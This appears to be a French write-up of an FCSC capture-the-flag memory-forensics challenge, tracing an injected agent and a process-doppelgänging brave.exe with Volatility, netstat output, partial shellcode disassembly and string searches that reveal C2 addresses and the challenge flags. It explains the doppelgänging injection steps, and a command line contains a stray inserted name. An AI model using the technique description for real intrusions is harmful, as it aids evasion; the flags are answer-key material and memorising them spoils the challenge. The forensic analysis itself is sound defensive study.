0x000000008284000c 83e4f0           AND ESP, -0x10
0x000000008284000f e8cc000000       CALL 0x828400e0
0x0000000082840014 41               INC ECX
0x0000000082840015 51               PUSH ECX
0x0000000082840016 41               INC ECX
0x0000000082840017 50               PUSH EAX
0x0000000082840018 52               PUSH EDX
0x0000000082840019 48               DEC EAX
0x000000008284001a 31d2             XOR EDX, EDX
0x000000008284001c 51               PUSH ECX
0x000000008284001d 56               PUSH ESI
0x000000008284001e 6548             DEC EAX
0x0000000082840020 8b5260           MOV EDX, [EDX+0x60]
0x0000000082840023 48               DEC EAX
0x0000000082840024 8b5218           MOV EDX, [EDX+0x18]
0x0000000082840027 48               DEC EAX
0x0000000082840028 8b5220           MOV EDX, [EDX+0x20]
0x000000008284002b 48               DEC EAX
0x000000008284002c 0fb74a4a         MOVZX ECX, WORD [EDX+0x4a]
0x0000000082840030 48               DEC EAX
0x0000000082840031 8b7250           MOV ESI, [EDX+0x50]
0x0000000082840034 4d               DEC EBP
0x0000000082840035 31c9             XOR ECX, ECX
0x0000000082840037 48               DEC EAX
0x0000000082840038 31c0             XOR EAX, EAX
0x000000008284003a ac               LODSB
0x000000008284003b 3c61             CMP AL, 0x61
0x000000008284003d 7c02             JL 0x82840041
0x000000008284003f 2c               DB 0x2c

Process: smartscreen.ex Pid: 2328 Address: 0x193a0800000
Vad Tag: VadS Protection: PAGE_EXECUTE_READWRITE
Flags: PrivateMemory: 1, Protection: 6

0x00000193a0800000  48 89 54 24 10 48 89 4c 24 08 4c 89 44 24 18 4c   H.T$.H.L$.L.D$.L
0x00000193a0800010  89 4c 24 20 48 8b 41 28 48 8b 48 08 48 8b 51 50   .L$.H.A(H.H.H.QP
0x00000193a0800020  48 83 e2 f8 48 8b ca 48 b8 60 00 80 a0 93 01 00   H...H..H.`......
0x00000193a0800030  00 48 2b c8 48 81 f9 70 0f 00 00 76 09 48 c7 c1   .H+.H..p...v.H..

0x00000000a0800000 48               DEC EAX
0x00000000a0800001 89542410         MOV [ESP+0x10], EDX
0x00000000a0800005 48               DEC EAX
0x00000000a0800006 894c2408         MOV [ESP+0x8], ECX
0x00000000a080000a 4c               DEC ESP
0x00000000a080000b 89442418         MOV [ESP+0x18], EAX
0x00000000a080000f 4c               DEC ESP
0x00000000a0800010 894c2420         MOV [ESP+0x20], ECX
0x00000000a0800014 48               DEC EAX
0x00000000a0800015 8b4128           MOV EAX, [ECX+0x28]
0x00000000a0800018 48               DEC EAX
0x00000000a0800019 8b4808           MOV ECX, [EAX+0x8]
0x00000000a080001c 48               DEC EAX
0x00000000a080001d 8b5150           MOV EDX, [ECX+0x50]
0x00000000a0800020 48               DEC EAX
0x00000000a0800021 83e2f8           AND EDX, -0x8
0x00000000a0800024 48               DEC EAX
0x00000000a0800025 8bca             MOV ECX, EDX
0x00000000a0800027 48               DEC EAX
0x00000000a0800028 b8600080a0       MOV EAX, 0xa0800060
0x00000000a080002d 93               XCHG EBX, EAX
0x00000000a080002e 0100             ADD [EAX], EAX
0x00000000a0800030 00482b           ADD [EAX+0x2b], CL
0x00000000a0800033 c84881f9         ENTER 0x8148, 0xf9
0x00000000a0800037 700f             JO 0xa0800048
0x00000000a0800039 0000             ADD [EAX], AL
0x00000000a080003b 7609             JBE 0xa0800046
0x00000000a080003d 48               DEC EAX
0x00000000a080003e c7               DB 0xc7
0x00000000a080003f c1               DB 0xc1

On dump les segments de mémoire identifiés par malfind de VBoxTray.exe :

1
vol2d -f /a/$(readlink -f fcsc.dmp) --profile=Win10x64_19041 malfind -p 6424 -D /a/$(readlink -f extracts)

Un strings sur le dump :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
strings -el extracts/process.0xffff81868852e080.0x22d82840000.dmp 
pipe
https
SeDebugPrivilege
ntdll
[...]
zh-tw
zu-za
CONOUT$
tcp://:8080 # params

Flag : FCSC{6424:tcp:8080}

Ransomémoire 3/3 - Doppelgänger

Difficulté : ⭐ ⭐ ⭐

Énoncé

Vous ne comprenez pas comment l’agent que vous avez trouvé dans Ransomémoire 2/3 - Début d’investigation a pu se retrouver sur la machine (Note : il n’est pas nécessaire d’avoir résolu ce challenge pour résoudre Ransomémoire 3/3 - Doppelgänger). Vous suspectez la présence d’un agent dormant, qui se cache en mémoire…

Le flag est au format FCSC{::} où :

  • est l’ID du processus malveillant
  • et sont les paramètres de la connexion avec le C2.

Attention : pour cette épreuve, vous n’avez que 3 tentatives de flag.

Solve

Le Process Doppelganging est une cyberattaque qui remplace un processus légitime par un logiciel malveillant dans le système de fichiers NTFS transactionnel. L’attaquant crée une copie d’un fichier exécutable dans la mémoire de l’appareil et y injecte un code malveillant.

Le doppelganing de processus est une technique d’injection de code qui exploite les appels d’API Windows liés aux transactions NTFS qui sont moins utilisés avec une intention malveillante et donc “moins connus” des fournisseurs AV, d’où cette technique d’injection de code est plus probable de passer inaperçu.

Le processus Doppelgänging est implémenté en 4 étapes :

  • Transact — Créez une transaction TxF à l’aide d’un exécutable légitime, puis écrasez le fichier avec un code malveillant. Ces changements seront isolés et uniquement visibles dans le contexte de la transaction.
  • Charger — Créez une section partagée de mémoire et chargez l’exécutable malveillant.
  • Restauration - Annulez les modifications apportées à l’exécutable d’origine, supprimant efficacement le code malveillant du système de fichiers.
  • Animer — Créez un processus à partir de la section entachée de la mémoire et lancez l’exécution.

On va chercher des connexions réseau :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
vol3d -f /a/$(readlink -f fcsc.dmp) windows.netstat.NetStat

Volatility 3 Framework 2.0.1
Progress:  100.00               PDB scanning finished                        
Offset  Proto   LocalAddr       LocalPort       ForeignAddr     ForeignPort     State   PID     Owner   Created

0x8186882b3010  TCPv4   10.0.2.15       50067   93.184.221.240  80      ESTABLISHED     4852    svchost.exe     2023-04-17 17:24:12.000000 
0x818688796320  TCPv4   10.0.2.15       50076   23.52.250.184   443     ESTABLISHED     4852    svchost.exe     2023-04-17 17:24:22.000000 
0x818688515560  TCPv4   10.0.2.15       50055   23.52.250.184   443     ESTABLISHED     4852    svchost.exe     2023-04-17 17:24:07.000000 
0x818688796a20  TCPv4   10.0.2.15       50082   93.184.221.240  80      ESTABLISHED     4852    svchost.exe     2023-04-17 17:24:22.000000 
0x818688389010  TCPv4   10.0.2.15       50056   93.184.221.240  80      ESTABLISHED     4852    svchost.exe     2023-04-17 17:24:07.000000 
0x8186882a7a20  TCPv4   10.0.2.15       49836   192.168.1.106   443     CLOSE_WAIT      6808    brave.exe       2023-04-17 17:16:51.000000 
0x818688040b50  TCPv4   10.0.2.15       49807   20.199.120.151  443     ESTABLISHED     728     svchost.exe     2023-04-17 17:16:17.000000 
0x818684b27400  TCPv4   10.0.2.15       50066   23.52.250.184   443     ESTABLISHED     4852    svchost.exe     2023-04-17 17:24:12.000000 
0x818688d44050  TCPv4   10.0.2.15       50074   23.52.250.184   443     ESTABLISHED     4852    svchost.exe     2023-04-17 17:24:22.000000 
0x8186889fd010  TCPv4   10.0.2.15       50053   23.52.250.184   443     ESTABLISHED     4852    svchost.exe     2023-04-17 17:24:07.000000 
0x8186875d94b0  TCPv4   10.0.2.15       50077   93.184.221.240  80      ESTABLISHED     4852    svchost.exe     2023-04-17 17:24:22.000000 
0x8186887cba20  TCPv4   10.0.2.15       49850   20.199.120.151  443     ESTABLISHED     728     svchost.exe     2023-04-17 17:18:10.000000 
0x8186880c68a0  TCPv4   10.0.2.15       50087   23.52.250.184   443     ESTABLISHED     4852    svchost.exe     2023-04-17 17:24:37.000000 
0x818688554950  TCPv4   10.0.2.15       50059   93.184.221.240  80      ESTABLISHED     4852    svchost.exe     2023-04-17 17:24:08.000000 
0x8186882d9b50  TCPv4   10.0.2.15       50072   93.184.221.240  80      ESTABLISHED     4852    svchost.exe     2023-04-17 17:24:22.000000 
0x818688033620  TCPv4   10.0.2.15       50050   152.199.19.74   80      ESTABLISHED     1748    CompatTelRunne  2023-04-17 17:23:54.000000 
0x818687f9e010  TCPv4   10.0.2.15       50071   23.52.250.184   443     ESTABLISHED     4852    svchost.exe     2023-04-17 17:24:22.000000 
0x81868489d640  TCPv4   10.0.2.15       50089   93.184.221.240  80      ESTABLISHED     4852    svchost.exe     2023-04-17 17:24:37.000000 
0x8186880b8010  TCPv4   10.0.2.15       8080    10.0.2.2        43543   ESTABLISHED     3144    brave.exe       2023-04-17 17:18:48.000000 
0x8186880e8010  TCPv4   10.0.2.15       50051   192.229.221.95  80      ESTABLISHED     1748    CompatTelRunne  2023-04-17 17:23:54.000000 
0x818687755010  TCPv4   10.0.2.15       50058   23.52.250.184   443     ESTABLISHED     4852    svchost.exe     2023-04-17 17:24:08.000000 
0x818684f3fac0  TCPv4   10.0.2.15       50078   93.184.221.240  80      ESTABLISHED     4852    svchost.exe     2023-04-17 17:24:22.000000 
0x818686db6010  TCPv4   10.0.2.15       50075   95.100.85.138   80      ESTABLISHED     4852    svchost.exe     2023-04-17 17:24:22.000000 
0x818687fa6050  TCPv4   10.0.2.15       50088   23.52.250.184   443     ESTABLISHED     4852    svchost.exe     2023-04-17 17:24:37.000000 
0x818682fd5e90  TCPv4   0.0.0.0 135     0.0.0.0 0       LISTENING       948     svchost.exe     2023-04-16 21:46:22.000000 
0x818682fd5e90  TCPv6   ::      135     ::      0       LISTENING       948     svchost.exe     2023-04-16 21:46:22.000000 
0x818682fd5bd0  TCPv4   0.0.0.0 135     0.0.0.0 0       LISTENING       948     svchost.exe     2023-04-16 21:46:22.000000 
0x818684ae41b0  TCPv4   10.0.2.15       139     0.0.0.0 0       LISTENING       4       System  2023-04-17 17:16:09.000000 
0x818686fbfcb0  TCPv4   0.0.0.0 445     0.0.0.0 0       LISTENING       4       System  2023-04-16 21:46:57.000000 
0x818686fbfcb0  TCPv6   ::      445     ::      0       LISTENING       4       System  2023-04-16 21:46:57.000000 
0x818686fc0650  TCPv4   0.0.0.0 5040    0.0.0.0 0       LISTENING       1288    svchost.exe     2023-04-16 21:47:17.000000 
0x818686fc0230  TCPv4   0.0.0.0 7680    0.0.0.0 0       LISTENING       4852    svchost.exe     2023-04-16 21:47:22.000000 
0x818686fc0230  TCPv6   ::      7680    ::      0       LISTENING       4852    svchost.exe     2023-04-16 21:47:22.000000 
0x818682fd5a70  TCPv4   0.0.0.0 49664   0.0.0.0 0       LISTENING       716     lsass.exe       2023-04-16 21:46:22.000000 
0x818682fd5a70  TCPv6   ::      49664   ::      0       LISTENING       716     lsass.exe       2023-04-16 21:46:22.000000 
0x818682fd41b0  TCPv4   0.0.0.0 49664   0.0.0.0 0       LISTENING       716     lsass.exe       2023-04-16 21:46:22.000000 
0x818682fd5d30  TCPv4   0.0.0.0 49665   0.0.0.0 0       LISTENING       572     wininit.exe     2023-04-16 21:46:22.000000 
0x818682fd5d30  TCPv6   ::      49665   ::      0       LISTENING       572     wininit.exe     2023-04-16 21:46:22.000000 
0x818682fd5230  TCPv4   0.0.0.0 49665   0.0.0.0 0       LISTENING       572     wininit.exe     2023-04-16 21:46:22.000000 
0x818682fd4e10  TCPv4   0.0.0.0 49666   0.0.0.0 0       LISTENING       1120    svchost.exe     2023-04-16 21:46:23.000000 
0x818682fd4e10  TCPv6   ::      49666   ::      0       LISTENING       1120    svchost.exe     2023-04-16 21:46:23.000000 
0x818682fd5390  TCPv4   0.0.0.0 49666   0.0.0.0 0       LISTENING       1120    svchost.exe     2023-04-16 21:46:23.000000 
0x818682fd45d0  TCPv4   0.0.0.0 49667   0.0.0.0 0       LISTENING       728     svchost.exe     2023-04-16 21:46:23.000000 
0x818682fd45d0  TCPv6   ::      49667   ::      0       LISTENING       728     svchost.exe     2023-04-16 21:46:23.000000 
0x818682fd4470  TCPv4   0.0.0.0 49667   0.0.0.0 0       LISTENING       728     svchost.exe     2023-04-16 21:46:23.000000 
0x81867fca61b0  TCPv4   0.0.0.0 49668   0.0.0.0 0       LISTENING       860     spoolsv.exe     2023-04-16 21:46:56.000000 
0x81867fca61b0  TCPv6   ::      49668   ::      0       LISTENING       860     spoolsv.exe     2023-04-16 21:46:56.000000 
0x81867fca6050  TCPv4   0.0.0.0 49668   0.0.0.0 0       LISTENING       860     spoolsv.exe     2023-04-16 21:46:56.000000 
0x818686fbf1b0  TCPv4   0.0.0.0 49669   0.0.0.0 0       LISTENING       696     services.exe    2023-04-16 21:46:57.000000 
0x818686fbf1b0  TCPv6   ::      49669   ::      0       LISTENING       696     services.exe    2023-04-16 21:46:57.000000 
0x818686fbf730  TCPv4   0.0.0.0 49669   0.0.0.0 0       LISTENING       696     services.exe    2023-04-16 21:46:57.000000 
0x818686fc00d0  TCPv4   0.0.0.0 49670   0.0.0.0 0       LISTENING       2252    svchost.exe     2023-04-16 21:47:00.000000 
0x818686fc00d0  TCPv6   ::      49670   ::      0       LISTENING       2252    svchost.exe     2023-04-16 21:47:00.000000 
0x818686fbfe10  TCPv4   0.0.0.0 49670   0.0.0.0 0       LISTENING       2252    svchost.exe     2023-04-16 21:47:00.000000 
0x818687574d10  UDPv4   10.0.2.15       137     *       0               4       System  2023-04-17 17:16:09.000000 
0x8186875722e0  UDPv4   10.0.2.15       138     *       0               4       System  2023-04-17 17:16:09.000000 
0x818687030830  UDPv4   0.0.0.0 500     *       0               728     svchost.exe     2023-04-16 21:46:57.000000 
0x818687030830  UDPv6   ::      500     *       0               728     svchost.exe     2023-04-16 21:46:57.000000 
0x818687031320  UDPv4   0.0.0.0 500     *       0               728     svchost.exe     2023-04-16 21:46:57.000000 
0x8186884550f0  UDPv6   fe80::b5bb:163f:5627:748f       1900    *       0               756     svchost.exe     2023-04-17 17:16:08.000000 
0x818688463060  UDPv6   ::1     1900    *       0               756     svchost.exe     2023-04-17 17:16:08.000000 
0x8186884679d0  UDPv4   10.0.2.15       1900    *       0               756     svchost.exe     2023-04-17 17:16:08.000000 
0x818688468330  UDPv4   127.0.0.1       1900    *       0               756     svchost.exe     2023-04-17 17:16:08.000000 
0x818687031c80  UDPv4   0.0.0.0 4500    *       0               728     svchost.exe     2023-04-16 21:46:57.000000 
0x818687031c80  UDPv6   ::      4500    *       0               728     svchost.exe     2023-04-16 21:46:57.000000 
0x818687030ce0  UDPv4   0.0.0.0 4500    *       0               728     svchost.exe     2023-04-16 21:46:57.000000 
0x818687920c10  UDPv4   0.0.0.0 5050    *       0               1288    svchost.exe     2023-04-16 21:47:17.000000 
0x818687565c70  UDPv4   0.0.0.0 5353    *       0               1500    svchost.exe     2023-04-17 17:16:10.000000 
0x818687565c70  UDPv6   ::      5353    *       0               1500    svchost.exe     2023-04-17 17:16:10.000000 
0x81868844ae70  UDPv4   0.0.0.0 5353    *       0               1500    svchost.exe     2023-04-17 17:16:10.000000 
0x8186873c3a10  UDPv4   0.0.0.0 5355    *       0               1500    svchost.exe     2023-04-17 17:16:10.000000 
0x8186873c3a10  UDPv6   ::      5355    *       0               1500    svchost.exe     2023-04-17 17:16:10.000000 
0x818688459bf0  UDPv4   0.0.0.0 5355    *       0               1500    svchost.exe     2023-04-17 17:16:10.000000 
0x818687080320  UDPv4   127.0.0.1       49259   *       0               728     svchost.exe     2023-04-16 21:46:57.000000 
0x818688466d50  UDPv6   fe80::b5bb:163f:5627:748f       49413   *       0               756     svchost.exe     2023-04-17 17:16:08.000000 
0x818688467200  UDPv6   ::1     49414   *       0               756     svchost.exe     2023-04-17 17:16:08.000000 
0x8186884663f0  UDPv4   10.0.2.15       49415   *       0               756     svchost.exe     2023-04-17 17:16:08.000000 
0x818688466a30  UDPv4   127.0.0.1       49416   *       0               756     svchost.exe     2023-04-17 17:16:08.000000 
0x818689b0ee20  UDPv4   0.0.0.0 54124   *       0               4060    brave.exe       2023-04-17 17:24:21.000000 
0x818689b13600  UDPv4   0.0.0.0 54173   *       0               4060    brave.exe       2023-04-17 17:24:47.000000 

On la connexion 192.168.1.106 443 CLOSE_WAIT 6808 brave.exe qui est suspecte.

Avec le plugin doppelfind on peut peut-être avoir des informations supplémentaires :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
vol2d --plugins=/a/$(readlink -f plugins) -f /a/$(readlink -f fcsc.dmp) --profile=Win10x64_19041 doppelfind
Volatility Foundation Volatility Framework 2.6.1

Doppelganger Finder:
--------------------

Process: brave.exe PID: 6808 PPID: 6612
Number of Image Files: 1

Offset(V)          Name                 Path                           Write Access Related Transaction
------------------ -------------------- ------------------------------ ------------ -------------------
0xffff81868792ebf0 \Program ...rave.exe                                True         True               
------------------ -------------------- ------------------------------ ------------ -------------------

Found transactions information:

Transaction(V)     Description     File Object Name     State                     Outcome             
------------------ --------------- -------------------- ------------------------- --------------------
WARNING : volatility.debug    : NoneObject as string: Buffer length 0 for _UNICODE_STRING not within bounds
0xffff81868860da70                 \Program ...rave.exe KTransactionForgotten     KTxOutcomeAborted   

On retrouve le même processus que notre connexion suspecte.

PS : il est nécéssaire de modifier légèrement le script pour le faire fonctionner (cf : https://github.com/kslgroup/Process-Doppelganging-Doppelfind/pull/1/commits/2ac57c52957cb781a839b1944deb16ed6146df73)

De plus, avec l’arbre des processus le PPID de brave.exe (PID : 6808) est introuvable et le processus n’est pas initié par explorer.exe contrairement aux autres brave.exe :

1
2
3
4
5
 0xffff818688160300:brave.exe                        6808   6612     10      0 2023-04-17 17:16:19 UTC+0000
. 0xffff8186880f4080:brave.exe                       3144   6808      0 ------ 2023-04-17 17:18:04 UTC+0000
 0xffff81868897e080:OneDrive.exe                     7156   7048     20      0 2023-04-16 21:48:32 UTC+0000
. 0xffff818684b43080:Microsoft.Shar                  2296   7156      0 ------ 2023-04-17 17:16:06 UTC+0000
 0xffff818688718080:BraveUpdate.ex                    960   1528      3      0 2023-04-17 17:16:26 UTC+0000

Avec psinfo :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
vol2d --plugins=/a/$(readlink -f plugins) -f /a/$(readlink -f fcsc.dmp) --profile=Win10x64_19041 psinfo -p 6808
Volatility Foundation Volatility Framework 2.6.1

Process Information:
        Process: brave.exe PID: 6808
        Parent Process: NA PPID: 6612
        Creation Time: 2023-04-17 17:16:19 UTC+0000
        Process Base Name(PEB): brave.exe
        Command Line(PEB): "C:\Program Files\BraveSoftware\Brave-Browser\Application\braJacob Appelbaum
ve.exe"

VAD and PEB Comparison:
        Base Address(VAD): 0xea0000
        Process Path(VAD): \Program Files\BraveSoftware\Brave-Browser\Application\brave.exe
        Vad Protection: PAGE_EXECUTE_WRITECOPY
        Vad Tag: Vad 

        Base Address(PEB): 0xea0000
        Process Path(PEB): C:\Program Files\BraveSoftware\Brave-Browser\Application\brave.exe
        Memory Protection: PAGE_EXECUTE_WRITECOPY
        Memory Tag: Vad 

Similar Processes:
C:\Program Files\BraveSoftware\Brave-Browser\Application\brave.exe
        brave.exe(6808) Parent:NA(6612) Start:2023-04-17 17:16:19 UTC+0000

On note également la Base Address(VAD) étrange et différente des autres processus brave.exe, celle-ci est censé être pareil.

On a suffisament d’information pour tester le flag, il s’avère être correcte.

On aurait pu aussi extraire le processus :

1
vol2d --plugins=/a/$(readlink -f plugins) -f /a/$(readlink -f fcsc.dmp) --profile=Win10x64_19041 procdump -p 6808 --dump-dir=/a/$(readlink -f extracts)

Un strings + une regex pour extraire une ip:port :

1
2
3
4
5
6
7
strings extracts/executable.6808.exe > extracts/6808.txt

grep -E -o "([0-9]{1,3}\.){3}[0-9]{1,3}:[0-9]{1,5}" extracts/6808.txt 
127.0.0.1:443
192.168.1.106:443
192.168.1.106:443
192.168.1.106:443

Flag : FCSC{6808:192.168.1.106:443}